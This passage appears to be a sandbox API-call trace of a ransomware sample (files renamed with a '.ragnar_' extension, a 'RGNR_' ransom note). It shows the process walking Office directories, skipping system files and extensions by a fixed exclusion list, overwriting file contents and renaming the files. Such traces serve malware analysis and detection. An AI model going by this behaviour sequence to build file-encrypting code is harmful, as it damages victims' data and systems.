(lpString1="README.HTM", lpString2="ntuser.dat.log") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="ntuser.ini") returned 1 [0060.431] lstrcmpiW (lpString1="README.HTM", lpString2="thumbs.db") returned -1 [0060.431] lstrcmpiW (lpString1=".HTM", lpString2=".db") returned 1 [0060.431] lstrcmpiW (lpString1=".HTM", lpString2=".sys") returned -1 [0060.432] lstrcmpiW (lpString1=".HTM", lpString2=".dll") returned 1 [0060.432] lstrcmpiW (lpString1=".HTM", lpString2=".lnk") returned -1 [0060.432] lstrcmpiW (lpString1=".HTM", lpString2=".msi") returned -1 [0060.432] lstrcmpiW (lpString1=".HTM", lpString2=".drv") returned 1 [0060.432] lstrcmpiW (lpString1=".HTM", lpString2=".exe") returned 1 [0060.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0060.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0060.433] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1941) returned 1 [0060.433] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x78c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.433] GetProcessHeap () returned 0x580000 [0060.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0060.433] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0060.434] VirtualAlloc (lpAddress=0x0, dwSize=0x795, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0060.435] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.435] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0060.435] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x795, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x795, lpOverlapped=0x0) returned 1 [0060.435] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0060.435] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x795, nNumberOfBytesToLockHigh=0x0) returned 1 [0060.435] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x795, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x795, lpOverlapped=0x0) returned 1 [0060.435] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x795, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0060.435] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.435] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x795, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.435] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0060.435] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0060.436] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0060.436] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0060.436] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0060.436] GetProcessHeap () returned 0x580000 [0060.436] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0060.436] CloseHandle (hObject=0x108) returned 1 [0060.437] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" [0060.437] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.ragnar_FD7BD9FC" [0060.437] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x755cc7a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x755cc7a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0060.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0060.438] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0060.438] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0060.438] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0060.438] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0060.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0060.438] lstrcpyW (in: lpString1=0x1eab6a, lpString2="xlsrvintl.dll" | out: lpString1="xlsrvintl.dll") returned="xlsrvintl.dll" [0060.438] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned=".dll" [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="autorun.inf") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="boot.ini") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="bootfont.bin") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="bootsect.bak") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="bootmgr") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="bootmgr.efi") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="bootmgfw.efi") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="desktop.ini") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="iconcache.db") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="ntldr") returned 1 [0060.438] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="ntuser.dat") returned 1 [0060.439] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="ntuser.dat.log") returned 1 [0060.439] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="ntuser.ini") returned 1 [0060.439] lstrcmpiW (lpString1="xlsrvintl.dll", lpString2="thumbs.db") returned 1 [0060.439] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0060.439] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0060.439] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0060.439] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0060.439] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0060.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0060.439] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".") returned 1 [0060.439] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="..") returned 1 [0060.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0060.439] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".") returned 1 [0060.439] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="..") returned 1 [0060.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0060.439] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".") returned 1 [0060.439] lstrcmpiW (lpString1="ACEERR.DLL", lpString2="..") returned 1 [0060.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0060.439] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".") returned 1 [0060.439] lstrcmpiW (lpString1="ACEES.DLL", lpString2="..") returned 1 [0060.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0060.439] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".") returned 1 [0060.439] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2="..") returned 1 [0060.439] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACER3X.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".") returned 1 [0060.440] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="..") returned 1 [0060.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0060.440] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="..") returned 1 [0060.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0060.441] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="..") returned 1 [0060.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0060.441] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="..") returned 1 [0060.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0060.441] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2="..") returned 1 [0060.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0060.441] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2="..") returned 1 [0060.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0060.441] lstrcmpiW (lpString1="Csi.dll", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="Csi.dll", lpString2="..") returned 1 [0060.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0060.441] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="CsiSoap.dll", lpString2="..") returned 1 [0060.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, 